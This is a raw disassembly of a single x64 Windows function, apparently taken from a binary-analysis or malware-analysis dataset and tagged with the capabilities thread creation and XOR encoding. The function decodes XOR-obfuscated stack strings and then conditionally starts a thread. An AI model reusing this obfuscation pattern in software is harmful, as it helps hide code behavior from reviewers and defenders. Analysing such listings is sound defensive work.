Function at 0x1400512f0
Capabilities:
Create thread
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r14
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140076040]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov edi, dword [0x1400771d8]
movsxd rax, dword [0x140076110]
xor edx, edx
cmp eax, 0x7b
ja 0x140051334
lea rdx, [0x140076120]
mov rdx, qword [rdx + rax*8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x14006c8a0]
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0x30], 0
mov r14d, 0xf
test rdx, rdx
jne 0x140051410
mov byte [rbp - 0x40], 0x93
mov byte [rbp - 0x3f], 0xa7
mov byte [rbp - 0x3e], 0xa4
mov byte [rbp - 0x3d], 0xbe
mov byte [rbp - 0x3c], 0xb3
mov byte [rbp - 0x3b], 0xa9
mov byte [rbp - 0x3a], 0xf1
mov byte [rbp - 0x39], 0x99
mov byte [rbp - 0x38], 0xb6
mov byte [rbp - 0x37], 0xa9
mov byte [rbp - 0x36], 0xd6
movzx eax, byte [rbp - 0x40]
xor r9d, r9d
movabs r11, 0x7664e16662f1b7cd
mov r10, r11
lea rax, [rbp - 0x40]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
lea r8, [rbp - 0x40]
add r8, r9
mov rcx, r9
and ecx, r14d
cmp rcx, r14
cmovae rcx, r14
shl cl, 2
mov rdx, r11
shr rdx, cl
and dl, r14b
lea eax, [r10 + r8]
xor dl, al
movzx eax, byte [r8]
xor dl, al
mov byte [rbp + r9 - 0x40], dl
inc r9
cmp r9, 0xb
jb 0x1400513b0
lea rax, [rbp - 0x40]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140051400
lea rdx, [rbp - 0x40]
jmp 0x14005142a
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140051420
lea rcx, [rbp - 0x30]
call fcn.140045fd0
cmp edi, 1
jne 0x1400514e9
mov byte [rbp - 0x40], 0xc0
mov byte [rbp - 0x3f], 0xe3
mov byte [rbp - 0x3e], 0xf5
mov byte [rbp - 0x3d], 0xee
mov byte [rbp - 0x3c], 0xe4
mov byte [rbp - 0x3b], 0xba
mov byte [rbp - 0x3a], 0xe8
mov byte [rbp - 0x39], pe_nt_image_headers64
mov byte [rbp - 0x38], 0xfd
mov byte [rbp - 0x37], 0x85
mov byte [rbp - 0x36], 0xc1
mov byte [rbp - 0x35], 0xc4
mov byte [rbp - 0x34], 0xd0
mov byte [rbp - 0x33], 0xa4
movzx eax, byte [rbp - 0x40]
xor r9d, r9d
movabs r11, 0xf20a3b57e16c7997
mov r10, r11
lea rax, [rbp - 0x40]
sub r10, rax
nop
lea r8, [rbp - 0x40]
add r8, r9
mov rcx, r9
and ecx, r14d
cmp rcx, r14
cmovae rcx, r14
shl cl, 2
mov rdx, r11
shr rdx, cl
and dl, r14b
lea eax, [r10 + r8]
xor dl, al
movzx eax, byte [r8]
xor dl, al
mov byte [rbp + r9 - 0x40], dl
inc r9
cmp r9, 0xe
jb 0x140051490
lea rax, [rbp - 0x40]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400514d0
mov r8, rbx
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x30]
call fcn.140045fd0
mov dword [rbp - 0x40], 0x42fa0000
mov dword [rbp - 0x3c], 0x41a00000
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], r14
cmova rcx, qword [rbp - 0x30]
lea rdx, [rbp - 0x40]
call fcn.1400355c0
test al, al
je 0x140051537
test edi, edi
jne 0x140051537
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x1400512a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140051575
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051570
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140051570
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140062270
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140061c60
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret